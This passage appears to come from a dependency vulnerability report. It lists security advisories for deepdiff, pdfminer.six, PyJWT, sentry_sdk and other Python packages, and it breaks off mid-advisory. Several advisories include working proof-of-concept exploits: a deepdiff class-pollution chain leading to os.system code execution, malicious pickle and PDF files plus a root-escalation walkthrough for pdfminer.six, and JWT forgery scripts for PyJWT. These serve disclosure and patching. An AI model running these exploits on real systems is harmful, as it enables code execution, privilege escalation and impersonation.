However, using the class pollution in the `Delta`, an attacker can add new entries to this `set`. This then allows a second call to `Delta` to [unpickle an insecure class](https://davidhamann.de/2020/04/05/exploiting-python-pickle/) that runs `os.system`, for example. #### Using dict Usually, class pollution [does not work](https://gist.github.com/CalumHutton/45d33e9ea55bf4953b3b31c84703dfca#technical-details) when traversal starts at a `dict`/`list`/`tuple`, because it is not possible to reach `__globals__` from there. However, using two calls to `Delta` (or just one call if the target dictionary that already contains at least one entry) it is possible to first change one entry of the dictionary to be of type `deepdiff.helper.Opcode`, which then allows traversal to `__globals__`, and notably `sys.modules`, which in turn allows traversal to any module already loaded by Python. Passing `Opcode` around can be done via pickle, which `Delta` will happily accept given it is in the default allow list. ### Proof of Concept With deepdiff 8.6.0 installed, run the following scripts for each proof of concept. All input to `Delta` is assumed to be user-controlled. #### Denial of Service This script will pollute the value of `builtins.int`, preventing the class from being used and making code crash whenever invoked. ```py # ------------[ Setup ]------------ import pickle from deepdiff.helper import Opcode pollute_int = pickle.dumps( { "values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}}, "dictionary_item_added": { ( ("root", "GETATTR"), ("tmp", "GET"), ("__repr__", "GETATTR"), ("__globals__", "GETATTR"), ("__builtins__", "GET"), ("int", "GET"), ): "no longer a class" }, } ) assert isinstance(pollute_int, bytes) # ------------[ Exploit ]------------ # This could be some example, vulnerable, application. # The inputs above could be sent via HTTP, for example. from deepdiff import Delta # Existing dictionary; it is assumed that it contains # at least one entry, otherwise a different Delta needs to be # applied first, adding an entry to the dictionary. mydict = {"tmp": "foobar"} # Before pollution print(int("41") + 1) # Apply Delta to mydict result = mydict + Delta(pollute_int) print(int("1337")) ``` ```shell $ python poc_dos.py 42 Traceback (most recent call last): File "/tmp/poc_dos.py", line 43, in <module> print(int("1337")) TypeError: 'str' object is not callable ``` #### Remote Code Execution This script will create a file at `/tmp/pwned` with the output of `id`. ```py # ------------[ Setup ]------------ import os import pickle from deepdiff.helper import Opcode pollute_safe_to_import = pickle.dumps( { "values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}}, "set_item_added": { ( ("root", "GETATTR"), ("tmp", "GET"), ("__repr__", "GETATTR"), ("__globals__", "GETATTR"), ("sys", "GET"), ("modules", "GETATTR"), ("deepdiff.serialization", "GET"), ("SAFE_TO_IMPORT", "GETATTR"), ): set(["posix.system"]) }, } ) # From https://davidhamann.de/2020/04/05/exploiting-python-pickle/ class RCE: def __reduce__(self): cmd = "id > /tmp/pwned" return os.system, (cmd,) # Wrap object with dictionary so that Delta does not crash rce_pickle = pickle.dumps({"_": RCE()}) assert isinstance(pollute_safe_to_import, bytes) assert isinstance(rce_pickle, bytes) # ------------[ Exploit ]------------ # This could be some example, vulnerable, application. # The inputs above could be sent via HTTP, for example. from deepdiff import Delta # Existing dictionary; it is assumed that it contains # at least one entry, otherwise a different Delta needs to be # applied first, adding an entry to the dictionary. mydict = {"tmp": "foobar"} # Apply Delta to mydict result = mydict + Delta(pollute_safe_to_import) Delta(rce_pickle) # no need to apply this Delta ``` ```shell $ python poc_rce.py $ cat /tmp/pwned uid=1000(dtc) gid=100(users) groups=100(users),1(wheel) ``` ### Who is affected? Only applications that pass (untrusted) user input directly into `Delta` are affected. While input in the form of `bytes` is the most flexible, there are certainly other gadgets, depending on the application, that can be used via just a dictionary. This dictionary could easily be parsed, for example, from JSON. One simple example would be overriding `app.secret_key` of a Flask application, which would allow an attacker to sign arbitrary cookies, leading to an authentication bypass. ### Mitigations A straightforward mitigation is preventing traversal through private keys, like it is already done in the path parser. This would have to be implemented in both `deepdiff.path._get_nested_obj` and `deepdiff.path._get_nested_obj_and_force`, and possibly in `deepdiff.delta.Delta._get_elements_and_details`. Example code that raises an error when traversing these properties: ```py if elem.startswith("__") and elem.endswith("__"): raise ValueError("traversing dunder attributes is not allowed") ``` However, if it is desirable to still support attributes starting and ending with `__`, but still protect against this vulnerability, it is possible to only forbid `__globals__` and `__builtins__`, which stops the most serious cases of class pollution (but not all). This was the solution adopted by pydash: https://github.com/dgilland/pydash/issues/180
marshmallow<4.0.0
ID Fixed In Affected modules Details
GHSA-428g-f7cq-pgp5 3.26.2, 4.1.2 datamodel
Show details
### Impact `Schema.load(data, many=True)` is vulnerable to denial of service attacks. A moderately sized request can consume a disproportionate amount of CPU time. ### Patches 4.1.2, 3.26.2 ### Workarounds ```py # Fail fast def load_many(schema, data, **kwargs): if not isinstance(data, list): raise ValidationError(['Invalid input type.']) return [schema.load(item, **kwargs) for item in data] ```
paramiko<4.0.0
ID Fixed In Affected modules Details
GHSA-r374-rxx8-8654 auto_backup
Show details
In Paramiko through 4.0.0 before a448945, rsakey.py allows the SHA-1 algorithm.
pdfminer.six==20220319
ID Fixed In Affected modules Details
GHSA-wf5f-4jwr-ppcp 20251107 l10n_mx_res_partner_csf
Show details
### Summary pdfminer.six will execute arbitrary code from a malicious pickle file if provided with a malicious PDF file. The `CMapDB._load_data()` function in pdfminer.six uses `pickle.loads()` to deserialize pickle files. These pickle files are supposed to be part of the pdfminer.six distribution stored in the `cmap/` directory, but a malicious PDF can specify an alternative directory and filename as long as the filename ends in `.pickle.gz`. A malicious, zipped pickle file can then contain code which will automatically execute when the PDF is processed. ### Details ```python # Vulnerable code in pdfminer/cmapdb.py:233-246 def _load_data(cls, name: str) -> Any: name = name.replace("\0", "") # Insufficient sanitization filename = "%s.pickle.gz" % name # ... path construction ... path = os.path.join(directory, filename) # If filename is an absolte path, directory is ignored # ... return type(str(name), (), pickle.loads(gzfile.read())) # Unsafe deserialization ``` An attacker can: 1. Create a malicious PDF with a CMap reference like `/malicious` 2. Place a malicious pickle file at `/malicious.pickle.gz` 3. When the PDF is processed, pdfminer loads and deserializes the malicious pickle 4. The pickle deserialization can execute arbitrary Python code ### POC #### Malicious PDF Create a PDF with a malicious CMAP entry: ``` 5 0 obj << /Type /Font /Subtype /Type0 /BaseFont /MaliciousFont-Identity-H /Encoding /#2Fpdfs#2Fmalicious /DescendantFonts [6 0 R] >> endobj ``` Here the /Encoding points to `/pdfs/malicious`. Pdfminer will append the extension `.pickle.gz` to this filename. Place the PDF in a file called `/pdfs/malicious.pdf`. #### Malicious Pickle Create a malicious, zipped pickle to execute. For example, with this Python script: ```python #!/usr/bin/env python3 import pickle import gzip def create_demo_pickle(): print("Creating demonstration pickle file...") # Create payload that executes code AND returns a dict (as pdfminer expects) class EvilPayload: def __reduce__(self): # This function will be called during unpickling code = "print('Malicious code executed.') or exit(0) or {}" return (eval, (code,)) demo_cmap_data = EvilPayload() # Create the pickle file that the path traversal would access target_path = "./malicious.pickle.gz" try: with gzip.open(target_path, 'wb') as f: pickle.dump(demo_cmap_data, f) print(f"✓ Created demonstration pickle file: {target_path}") return target_path except Exception as e: print(f"✗ Error creating pickle file: {e}") return None if __name__ == "__main__": create_demo_pickle() ``` This will create a harmless, zipped pickle file that will display "Malicious code eecuted." then exit when deserialized. Put the file in `/pdfs/malicious.pickle.gz`. #### Test Install pdfminer.six and run `pdf2text.py /pdfs/malicious.pdf`. Instead of processing the PDF as normal you should see the output: ``` $ pdf2txt.py malicious.pdf Malicious code executed! ``` ### Impact If pdfminer.six processes a malicious PDF which points to a zipped pickle file under the control of an attacker the result is arbitrary code execution on the victim's system. An attacker could execute the Python code of their chosing with the permissions of the process running pdfminer.six. The difficulty in achieving this depends on the OS, see below. #### Linux, MacOS - harder to exploit On Linux-like systems only files on the filesystem can be resolved. An attacker would need to provide the malicious PDF for processing *and* the malicious pickle file would need to be present on the target system in a location that the attacker already knows, since it needs to be set in the PDF itself. In many cases this will be difficult to exploit because even if the attacker provides both the PDF and the pickle file together, there would be no way to know in advance which full path to the pickle file to specify. In many cases this would make exploitation difficult or impossible. However: * An attacker may find a way to write files to a known location on the target system or * The system in question may, by design, read files from a known location such as a network share designated for PDF ingestion. Overall, there is generally less risk on a Linux or Linux-like system. #### Windows - easier to exploit Windows paths can specify network locations e.g. WebDAV, SMB. This means that an attacker could host the malicious pickle remotely and specify a path to the it in the PDF. Since there is no need to get the malicious pickle file on to the target system, exploitation is easier on a Windows OS. ### Appendix A complete, malicious PDF is provided here. A dockerized POC is available upon request. ``` %PDF-1.4 1 0 obj << /Type /Catalog /Pages 2 0 R >> endobj 2 0 obj << /Type /Pages /Kids [3 0 R] /Count 1 >> endobj 3 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] /Contents 4 0 R /Resources << /Font << /F1 5 0 R >> >> >> endobj 4 0 obj << /Length 44 >> stream BT /F1 12 Tf 100 700 Td (Malicious PDF) Tj ET endstream endobj 5 0 obj << /Type /Font /Subtype /Type0 /BaseFont /MaliciousFont-Identity-H /Encoding /#2Fpdfs#2Fmalicious /DescendantFonts [6 0 R] >> endobj 6 0 obj << /Type /Font /Subtype /CIDFontType2 /BaseFont /MaliciousFont /CIDSystemInfo << /Registry (Adobe) /Ordering (Identity) /Supplement 0 >> /FontDescriptor 7 0 R >> endobj 7 0 obj << /Type /FontDescriptor /FontName /MaliciousFont /Flags 4 /FontBBox [-1000 -1000 1000 1000] /ItalicAngle 0 /Ascent 1000 /Descent -200 /CapHeight 800 /StemV 80 >> endobj xref 0 8 0000000000 65535 f 0000000009 00000 n 0000000058 00000 n 0000000115 00000 n 0000000274 00000 n 0000000370 00000 n 0000000503 00000 n 0000000673 00000 n trailer << /Size 8 /Root 1 0 R >> startxref 871 %%EOF ```
GHSA-f83h-ghpp-7wcc 20251230 l10n_mx_res_partner_csf
Show details
### 🚀 Overview This report **demonstrates a real-world privilege escalation** vulnerability in [pdfminer.six](https://github.com/pdfminer/pdfminer.six) due to unsafe usage of Python's `pickle` module for CMap file loading. It shows how a low-privileged user can gain root access (or escalate to any service account) by exploiting insecure deserialization in a typical multi-user or server environment. ![line](https://user-images.githubusercontent.com/74038190/212284100-561aa473-3905-4a80-b561-0d28506553ee.gif) ## 🚨 Special Note This advisory addresses a distinct vulnerability from [GHSA-wf5f-4jwr-ppcp (CVE-2025-64512)](https://github.com/pdfminer/pdfminer.six/security/advisories/GHSA-wf5f-4jwr-ppcp). While the previous CVE claims to mitigate issues related to unsafe deserialization, the patch introduced in commit [b808ee05dd7f0c8ea8ec34bdf394d40e63501086](https://github.com/pdfminer/pdfminer.six/commit/b808ee05dd7f0c8ea8ec34bdf394d40e63501086) does not address the vulnerability reported here. Based on testing performed against the latest version of the library ([comparison view](https://github.com/pdfminer/pdfminer.six/compare/20250506...20251107)), the issue remains exploitable through local privilege escalation due to continued unsafe use of pickle files. The **Dockerfile** is hence modified to run test against this claim. This demonstrates that the patch for **CVE-2025-64512** is incomplete: the vulnerability remains exploitable. This advisory therefore documents a distinct, independently fixable flaw. A correct remediation must remove the dependency on pickle files (or otherwise eliminate unsafe deserialization) and replace it with a safe, auditable data-handling approach so the library can operate normally without relying on ```pickle``` ## 📚 Table of Contents - [🔍 Background](#-background) - [🐍 Vulnerability Description](#-vulnerability-description) - [🎭 Demo Scenario](#-demo-scenario) - [🧨 Technical Details](#-technical-details) - [🔧 Setup and Usage](#-setup-and-usage) - [📝 Step-by-step Walkthrough](#-step-by-step-walkthrough) - [🛡️ Security Standards & References](#-security-standards--references) --- ## 🔍 Background **pdfminer.six** is a popular Python library for extracting text and information from PDF files. It supports CJK (Chinese, Japanese, Korean) fonts via external CMap files, which it loads from disk using Python's `pickle` module. > 🐍 **Security Issue:** > If the CMap search path (`CMAP_PATH` or default directories) includes a world-writable or user-writable directory, an attacker can place a malicious `.pickle.gz` file that will be loaded and deserialized by pdfminer.six, leading to arbitrary code execution. --- ### 🐍 Vulnerability Description - **Component:** pdfminer.six CMap loading (`pdfminer/cmapdb.py`) - **Issue:** Loads and deserializes `.pickle.gz` files using Python’s `pickle` module, which is unsafe for untrusted data. - **Exploitability:** If a low-privileged user can write to any directory in `CMAP_PATH`, they can execute code as the user running pdfminer—potentially root or a privileged service. - **Impact:** Full code execution as the service user, privilege escalation from user to root, persistence, and potential lateral movement. ![line](https://user-images.githubusercontent.com/74038190/212284100-561aa473-3905-4a80-b561-0d28506553ee.gif) ### 🎭 Demo Scenario **Environment:** - 🐧 Alpine Linux (Docker container) - 👨‍💻 Two users: - `user1` (attacker: low-privilege) - `root` (victim: runs privileged PDF-processing script) - 🗂️ Shared writable directory: `/tmp/uploads` - 🛣️ `CMAP_PATH` set to `/tmp/uploads` for the privileged script - 📦 pdfminer.six installed system-wide **Attack Flow:** 1. 🕵️‍♂️ `user1` creates a malicious CMap file (`Evil.pickle.gz`) in `/tmp/uploads`. 2. 👑 The privileged service (`root`) processes a PDF or calls `get_cmap("Evil")`. 3. 💣 The malicious pickle is deserialized, running arbitrary code as root. 4. 🎯 The exploit creates a flag file in `/root/pwnedByPdfminer` as proof. ![line](https://user-images.githubusercontent.com/74038190/212284100-561aa473-3905-4a80-b561-0d28506553ee.gif) ### 🧨 Technical Details - **Vulnerability Type:** Insecure deserialization of untrusted data using Python's `pickle` - **Attack Prerequisites:** Attacker can write to a directory included in `CMAP_PATH` - **Vulnerable Line:** ```python return type(str(name), (), pickle.loads(gzfile.read())) ``` *In `pdfminer/cmapdb.py`'s `_load_data` method* - https://github.com/pdfminer/pdfminer.six/blob/20250506/pdfminer/cmapdb.py#L246 - **Proof of Concept:** See `createEvilPickle.py`, `evilmod.py`, and `processPdf.py` **Exploit Chain:** - Attacker places a malicious `.pickle.gz` file in the CMap search path. - Privileged process (e.g., root) loads a CMap, triggering pickle deserialization. - Arbitrary code executes with the privilege of the process (root/service account). ![line](https://user-images.githubusercontent.com/74038190/212284100-561aa473-3905-4a80-b561-0d28506553ee.gif) ## 🔧 Setup and Usage ### 📁 Files #### </> Dockerfile ```yml FROM python:3.11-alpine ARG PM_COMMIT=b808ee05dd7f0c8ea8ec34bdf394d40e63501086 # Install git and build tooling RUN apk add --no-cache git build-base WORKDIR /opt # Clone pdfminer.six and check out the specific commit, then install from source RUN git clone https://github.com/pdfminer/pdfminer.six.git && \ cd pdfminer.six && \ git fetch --all && \ git checkout ${PM_COMMIT} && \ pip install --no-cache-dir -e . # App working directory for PoC WORKDIR /app # Create low-privilege user and uploads dir RUN adduser -D user1 && \ mkdir -p /tmp/uploads && \ chown user1:user1 /tmp/uploads && \ chmod 1777 /tmp/uploads # Copy PoC files COPY evilmod.py /app/evilmod.py COPY createEvilPickle.py /app/createEvilPickle.py COPY processPDF.py /app/processPDF.py ENV CMAP_PATH=/tmp/uploads ENV PYTHONUNBUFFERED=1 # Keep the container running in background so you can exec into it anytime. CMD ["tail", "-f", "/dev/null"] ``` #### </> evilmod.py ```python import os def evilFunc(): with open("/root/pwnedByPdfminer", "w") as f: f.write("ROOTED by pdfminer pickle RCE\n") return {"CODE2CID": {}, "IS_VERTICAL": False} ``` #### </> createEvilPickle.py ```python import pickle import gzip from evilmod import evilFunc class Evil: def __reduce__(self): return (evilFunc, ()) payload = pickle.dumps(Evil()) with gzip.open("/tmp/uploads/Evil.pickle.gz", "wb") as f: f.write(payload) print("Malicious pickle created at /tmp/uploads/Evil.pickle.gz") ``` #### </> processPDF.py ```python import os from pdfminer.cmapdb import CMapDB os.environ["CMAP_PATH"] = "/tmp/uploads" CMapDB.get_cmap("Evil") print("CMap loaded. If vulnerable, /root/pwnedByPdfminer will be created.") ``` ![line](https://user-images.githubusercontent.com/74038190/212284100-561aa473-3905-4a80-b561-0d28506553ee.gif) ### 1️⃣ Build and start the demo container ```bash docker build -t pdfminer-priv-esc-demo . docker run --rm -it --name pdfminer-demo pdfminer-priv-esc-democ ``` ### 2️⃣ In the container, open two shells in parallel (or switch users in one): #### 🕵️‍♂️ Shell 1 (Attacker: user1) ```bash su user1 cd /app python createEvilPickle.py # ✅ Confirms: /tmp/uploads/Evil.pickle.gz is created and owned by user1 ``` #### 👑 Shell 2 (Victim: root) ```bash cd /app python processPdf.py # 🎯 Output: If vulnerable, /root/pwnedByPdfminer will be created ``` ### 3️⃣ Proof of escalation ```bash cat /root/pwnedByPdfminer # 🏴 Output: ROOTED by pdfminer pickle RCE ``` <img width="815" height="889" alt="proof-of-exploit" src="https://github.com/user-attachments/assets/f465d17c-a3af-49c5-9dbc-eec9635b36fc" /> ![line](https://user-images.githubusercontent.com/74038190/212284100-561aa473-3905-4a80-b561-0d28506553ee.gif) ## 📝 Step-by-step Walkthrough 1. **user1** uses `createEvilPickle.py` to craft and place a malicious CMap pickle in a shared upload directory. 2. The **root** user runs a typical PDF-processing script, which loads CMap files from that directory. 3. The exploit triggers, running arbitrary code as root. 4. The attacker now has proof of code execution as root (and, in a real attack, could escalate further). ![line](https://user-images.githubusercontent.com/74038190/212284100-561aa473-3905-4a80-b561-0d28506553ee.gif) ## 🛡️ Security Standards & References - **CVSS (Common Vulnerability Scoring System):** - **Base Score:** 7.8 (High) - **Vector:** `AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` - **OWASP Top 10:** - [A08:2021 - Software and Data Integrity Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures/) - [A03:2021 - Injection](https://owasp.org/Top10/A03_2021-Injection/) (by analogy, as it's code injection via deserialization) - **MITRE CWE References:** - [CWE-502: Deserialization of Untrusted Data](https://cwe.mitre.org/data/definitions/502.html) - [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes](https://cwe.mitre.org/data/definitions/915.html) - **MITRE ATT&CK Techniques:** - [T1055: Process Injection](https://attack.mitre.org/techniques/T1055/) - [T1548: Abuse Elevation Control Mechanism](https://attack.mitre.org/techniques/T1548/)
sentry_sdk<=1.9.0
ID Fixed In Affected modules Details
GHSA-29pr-6jr8-q5jm 1.14.0 sentry
Show details
### Impact When using the [Django integration](https://docs.sentry.io/platforms/python/guides/django/) of the Sentry SDK in a specific configuration it is possible to leak sensitive cookies values, including the session cookie to Sentry. These sensitive cookies could then be used by someone with access to your Sentry issues to impersonate or escalate their privileges within your application. The below must be true in order for these sensitive values to be leaked: 1. Your Sentry SDK configuration has `sendDefaultPII` set to `True` 2. You are using a custom name for either of the cookies below in your Django settings. - [`SESSION_COOKIE_NAME`](https://docs.djangoproject.com/en/4.1/ref/settings/#std-setting-SESSION_COOKIE_NAME) or - [`CSRF_COOKIE_NAME`](https://docs.djangoproject.com/en/4.1/ref/settings/#std-setting-CSRF_COOKIE_NAME) Django settings 3. You are not configured in your organization or project settings to use [our data scrubbing features](https://docs.sentry.io/product/data-management-settings/scrubbing/) to account for the custom cookie names ### Patches As of version `1.14.0`, the Django integration of the `sentry-sdk` will detect the custom cookie names based on your Django settings and will remove the values from the payload _before_ sending the data to Sentry. ### Workarounds If you can not update your `sentry-sdk` to a patched version than you can use the SDKs filtering mechanism to remove the cookies from the payload that is sent to Sentry. For error events this can be done with the [before_send](https://docs.sentry.io/platforms/python/configuration/filtering/#using-platformidentifier-namebefore-send-) callback method and for performance related events (transactions) you can use the [before_send_transaction](https://docs.sentry.io/platforms/python/configuration/filtering/#using-platformidentifier-namebefore-send-transaction-) callback method. If you'd like to handle filtering of these values on the server-side, you can also use our [advanced data scrubbing feature](https://docs.sentry.io/product/data-management-settings/scrubbing/advanced-datascrubbing/) to account for the custom cookie names. Look for the `$http.cookies`, `$http.headers`, `$request.cookies`, or `$request.headers` fields to target with your scrubbing rule. ### References - [Using Your Tools Against You (Chapter8 Blog Post)](https://medium.com/@tomwolters/using-your-tools-against-you-cea4d2482ebb) - [Sentry Python SDK Filtering](https://docs.sentry.io/platforms/python/configuration/filtering/) - [Sentry Data Scrubbing](https://docs.sentry.io/product/data-management-settings/scrubbing/advanced-datascrubbing/) ### Credits - [Tom Wolters (Chapter8)](https://chapter8.com)
GHSA-g92j-qhmh-64v2 2.8.0, 1.45.1 sentry
Show details
### Impact The bug in Sentry's Python SDK <2.8.0 results in the unintentional exposure of environment variables to subprocesses despite the `env={}` setting. ### Details In Python's `subprocess` calls, all environment variables are passed to subprocesses by default. However, if you specifically do not want them to be passed to subprocesses, you may use `env` argument in `subprocess` calls, like in this example: ``` >>> subprocess.check_output(["env"], env={"TEST":"1"}) b'TEST=1\n' ``` If you'd want to not pass any variables, you can set an empty dict: ``` >>> subprocess.check_output(["env"], env={}) b'' ``` However, the bug in Sentry SDK <2.8.0 causes **all environment variables** to be passed to the subprocesses when `env={}` is set, unless the Sentry SDK's [Stdlib](https://docs.sentry.io/platforms/python/integrations/default-integrations/#stdlib) integration is disabled. The Stdlib integration is enabled by default. ### Patches The issue has been patched in https://github.com/getsentry/sentry-python/pull/3251 and the fix released in [sentry-sdk==2.8.0](https://github.com/getsentry/sentry-python/releases/tag/2.8.0). The fix was also backported to [sentry-sdk==1.45.1](https://github.com/getsentry/sentry-python/releases/tag/1.45.1). ### Workarounds We strongly recommend upgrading to the latest SDK version. However, if it's not possible, and if passing environment variables to child processes poses a security risk for you, there are two options: 1. In your application, replace `env={}` with the minimal dict `env={"EMPTY_ENV":"1"}` or similar. OR 2. Disable Stdlib integration: ``` import sentry_sdk # Should go before sentry_sdk.init sentry_sdk.integrations._DEFAULT_INTEGRATIONS.remove("sentry_sdk.integrations.stdlib.StdlibIntegration") sentry_sdk.init(...) ``` ### References * Sentry docs: [Default integrations](https://docs.sentry.io/platforms/python/integrations/default-integrations/) * Python docs: [subprocess module](https://docs.python.org/3/library/subprocess.html) * Patch https://github.com/getsentry/sentry-python/pull/3251

51 vulnerabilities across 8 packages, affecting 7 modules.

PyJWT>=1.7.1,<2.9.0
ID Fixed In Affected modules Details
PYSEC-2026-178 2.13.0 connector_jira
Show details
PyJWT is a JSON Web Token implementation in Python. From 2.8.0 to 2.12.1, when verifying detached JWS tokens using the unencoded-payload option ("b64": false, RFC 7797), PyJWT performs Base64URL decoding of the compact-serialization payload segment before enforcing the detached-payload rules. For b64=false, PyJWT later discards that decoded payload and replaces it with the caller-provided detached_payload. In practice, this turns the middle segment into an attacker-controlled “work amplifier”: a remote client can supply an arbitrarily large Base64URL payload segment that forces CPU work + memory allocations even if the signature is invalid. This creates an unauthenticated DoS vector against any endpoint that verifies detached JWS using PyJWT. This vulnerability is fixed in 2.13.0.
PYSEC-2025-183 connector_jira
Show details
pyjwt v2.10.1 was discovered to contain weak encryption. NOTE: this is disputed by the Supplier because the key length is chosen by the application that uses the library (admittedly, library users may benefit from a minimum value and a mechanism for opting in to strict enforcement).
PYSEC-2026-177 2.13.0 connector_jira
Show details
PyJWT is a JSON Web Token implementation in Python. Prior to 2.13.0, PyJWKClient.get_signing_key() forces a fresh HTTP request to the JWKS endpoint for every JWT with an unknown kid value, with no rate limiting. Since kid comes from the unverified token header, an attacker can trigger unlimited outbound requests. The vulnerability surfaces only when a JWKS fetch fails; an attacker can attempt to provoke that with sustained unknown-kid traffic, but the outcome depends on upstream JWKS-endpoint behavior (rate limiting, transient errors) which is beyond the attacker's control. This vulnerability is fixed in 2.13.0.
GHSA-fhv5-28vv-h8m8 2.13.0 connector_jira
Show details
> [!NOTE] > The vulnerability surfaces only when a JWKS fetch fails; an attacker can attempt to provoke that with sustained unknown-kid traffic, but the outcome depends on upstream JWKS-endpoint behavior (rate limiting, transient errors) which is beyond the attacker's control. Impact is reduced auth availability until the next successful fetch, not complete denial of service. ## Summary PyJWKClient.get_signing_key() forces a fresh HTTP request to the JWKS endpoint for every JWT with an unknown kid value, with no rate limiting. Since kid comes from the unverified token header, an attacker can trigger unlimited outbound requests. Additionally, fetch_data() finally block clears the JWKS cache on network error. ## Root Cause jwt/jwks_client.py:172-198 - get_signing_key(kid) calls get_signing_keys(refresh=True) for unknown kids, bypassing TTL cache with no cooldown. jwt/jwks_client.py:120-122 - finally block writes None to cache on error, clearing valid data. ## Impact - DoS against JWKS endpoint (unlimited requests per invalid token) - DoS against application (network I/O latency) - Cascading failure (rate limiting clears cache, breaking legitimate auth) ## Suggested Fix 1. Add refresh cooldown (refuse refresh more than once per TTL period) 2. Move cache write from finally to else block ## Affected Versions All versions with PyJWKClient (2.4.0 through 2.12.1)
PYSEC-2026-175 2.13.0 connector_jira
Show details
PyJWT is a JSON Web Token implementation in Python. Prior to 2.13.0, PyJWKClient passes its uri argument directly to urllib.request.urlopen() which uses Python stdlib's default OpenerDirector registering HTTPHandler, HTTPSHandler, FTPHandler, FileHandler, and DataHandler. There is currently no documented option to restrict which schemes PyJWKClient will fetch. If an application's jku URL ingestion path accepts attacker-influenced URLs (e.g., from JWT header, configuration file, OAuth flow parameter), the attacker can cause PyJWKClient to read arbitrary local files via file:// (SSRF on local filesystem), cause PyJWKClient to attempt FTP / data-URI fetches (broader SSRF surface), or forge tokens that PyJWT verifies as valid. The library does not directly return non-HTTP(S) URI contents to the attacker; the chained "plant a JWKS to forge tokens" scenario described in the original report requires additional application-layer flaws (attacker write access to a filesystem path, untrusted jku derivation) that this fix does not address. This vulnerability is fixed in 2.13.0.
GHSA-xgmm-8j9v-c9wx 2.13.0 connector_jira
Show details
> [!NOTE] > Exploitation requires a verifier configured with both symmetric and asymmetric algorithms in `algorithms=[…]` and a raw-JSON JWK as the `key=` argument, both contrary to documented usage, hence the High attack-complexity rating. ### Summary When the verifier is decoding JSON Web Tokens, while supporting both asymmetric and HMAC algorithms, the library does not validate use of JSON Web Keys in HMAC algorithm, allowing attacker to use the issuer public key as the secret key for HMAC algorithm. ### Details In JWT algorithm confusion attack, the verifier is mistakenly use of public key to be used as the shared secret in symmetric algorithms. In pyjwt case, when the verifier is supporting both HMAC with other asymmetric algorithm and mistakenly using the public key of the issuer to verify the token as demonstrated in the following example: `jws.decode(token, key=rsa_jwk_json, algorithms=["HS256","RS256"])) ` An attacker who specifies in the token header to use HMAC, will cause the verifier to accept the JWK as the secret key in HMAC algorithm. The attacker will be able to forge JWT signed with the public key of the issuer to impersonate any user. If we look on current protections implemented in the library, at class HMACAlgorithm: ``` def prepare_key(self, key: str | bytes) -> bytes: key_bytes = force_bytes(key) if is_pem_format(key_bytes) or is_ssh_key(key_bytes): raise InvalidKeyError( "The specified key is an asymmetric key or x509 certificate and" " should not be used as an HMAC secret." ) return key_bytes ``` We can observe that there is a protection against this type of attacks but only when the verifier is using PEM format or SSH key to verify the token. JSON Web Keys, on the other hand will pass the validation. In The following example: `jws.decode(token, key=rsa_jwk_json, algorithms=["HS256","RS256"])) ` There is indeed a wrong implementation of the verifier, but a stronger protection in the library side will prevent and protect against those type of misconfiugrations. The bypass happens only if the verifier: (a) allows HS* and an asymmetric algorithm in the same call and (b) passes a public-key value as key. ### PoC Please run the code and observe the payload printed in clear text({"sub":"alice","admin":true}') ``` from jwt.api_jws import PyJWS import json, base64, hmac, hashlib def b64u(b): return base64.urlsafe_b64encode(b).rstrip(b"=") # Public RSA JWK (public by design) rsa_jwk_json = json.dumps({"kty":"RSA","n":"AQAB","e":"AQAB"}) # Attacker-crafted token: flip to HS256 and choose claims header = b64u(b'{"alg":"HS256","typ":"JWT"}') payload = b64u(b'{"sub":"alice","admin":true}') signing = header + b"." + payload # Sign with HMAC using the PUBLIC JWK JSON TEXT as the “secret” sig = hmac.new(rsa_jwk_json.encode(), signing, hashlib.sha256).digest() token = (signing + b"." + b64u(sig)).decode() # Vulnerable verifier: mixed families + JWK JSON string as key jws = PyJWS() print(jws.decode(token, key=rsa_jwk_json, algorithms=["HS256","RS256"])) # -> b'{"sub":"alice","admin":true}' ``` ### Impact Unauthenticated token forgery → full identity/role impersonation at the resource server (authorization bypass).
PYSEC-2026-120 2.12.0 connector_jira
Show details
PyJWT is a JSON Web Token implementation in Python. Prior to 2.12.0, PyJWT does not validate the crit (Critical) Header Parameter defined in RFC 7515 §4.1.11. When a JWS token contains a crit array listing extensions that PyJWT does not understand, the library accepts the token instead of rejecting it. This violates the MUST requirement in the RFC. This vulnerability is fixed in 2.12.0.
GHSA-752w-5fwx-jx9f 2.12.0 connector_jira
Show details
## Summary PyJWT does not validate the `crit` (Critical) Header Parameter defined in RFC 7515 §4.1.11. When a JWS token contains a `crit` array listing extensions that PyJWT does not understand, the library accepts the token instead of rejecting it. This violates the **MUST** requirement in the RFC. This is the same class of vulnerability as CVE-2025-59420 (Authlib), which received CVSS 7.5 (HIGH). --- ## RFC Requirement RFC 7515 §4.1.11: > The "crit" (Critical) Header Parameter indicates that extensions to this > specification and/or [JWA] are being used that **MUST** be understood and > processed. [...] If any of the listed extension Header Parameters are > **not understood and supported** by the recipient, then the **JWS is invalid**. --- ## Proof of Concept ```python import jwt # PyJWT 2.8.0 import hmac, hashlib, base64, json # Construct token with unknown critical extension header = {"alg": "HS256", "crit": ["x-custom-policy"], "x-custom-policy": "require-mfa"} payload = {"sub": "attacker", "role": "admin"} def b64url(data): return base64.urlsafe_b64encode(data).rstrip(b"=").decode() h = b64url(json.dumps(header, separators=(",", ":")).encode()) p = b64url(json.dumps(payload, separators=(",", ":")).encode()) sig = b64url(hmac.new(b"secret", f"{h}.{p}".encode(), hashlib.sha256).digest()) token = f"{h}.{p}.{sig}" # Should REJECT — x-custom-policy is not understood by PyJWT try: result = jwt.decode(token, "secret", algorithms=["HS256"]) print(f"ACCEPTED: {result}") # Output: ACCEPTED: {'sub': 'attacker', 'role': 'admin'} except Exception as e: print(f"REJECTED: {e}") ``` **Expected:** `jwt.exceptions.InvalidTokenError: Unsupported critical extension: x-custom-policy` **Actual:** Token accepted, payload returned. ### Comparison with RFC-compliant library ```python # jwcrypto — correctly rejects from jwcrypto import jwt as jw_jwt, jwk key = jwk.JWK(kty="oct", k=b64url(b"secret")) jw_jwt.JWT(jwt=token, key=key, algs=["HS256"]) # raises: InvalidJWSObject('Unknown critical header: "x-custom-policy"') ``` --- ## Impact - **Split-brain verification** in mixed-library deployments (e.g., API gateway using jwcrypto rejects, backend using PyJWT accepts) - **Security policy bypass** when `crit` carries enforcement semantics (MFA, token binding, scope restrictions) - 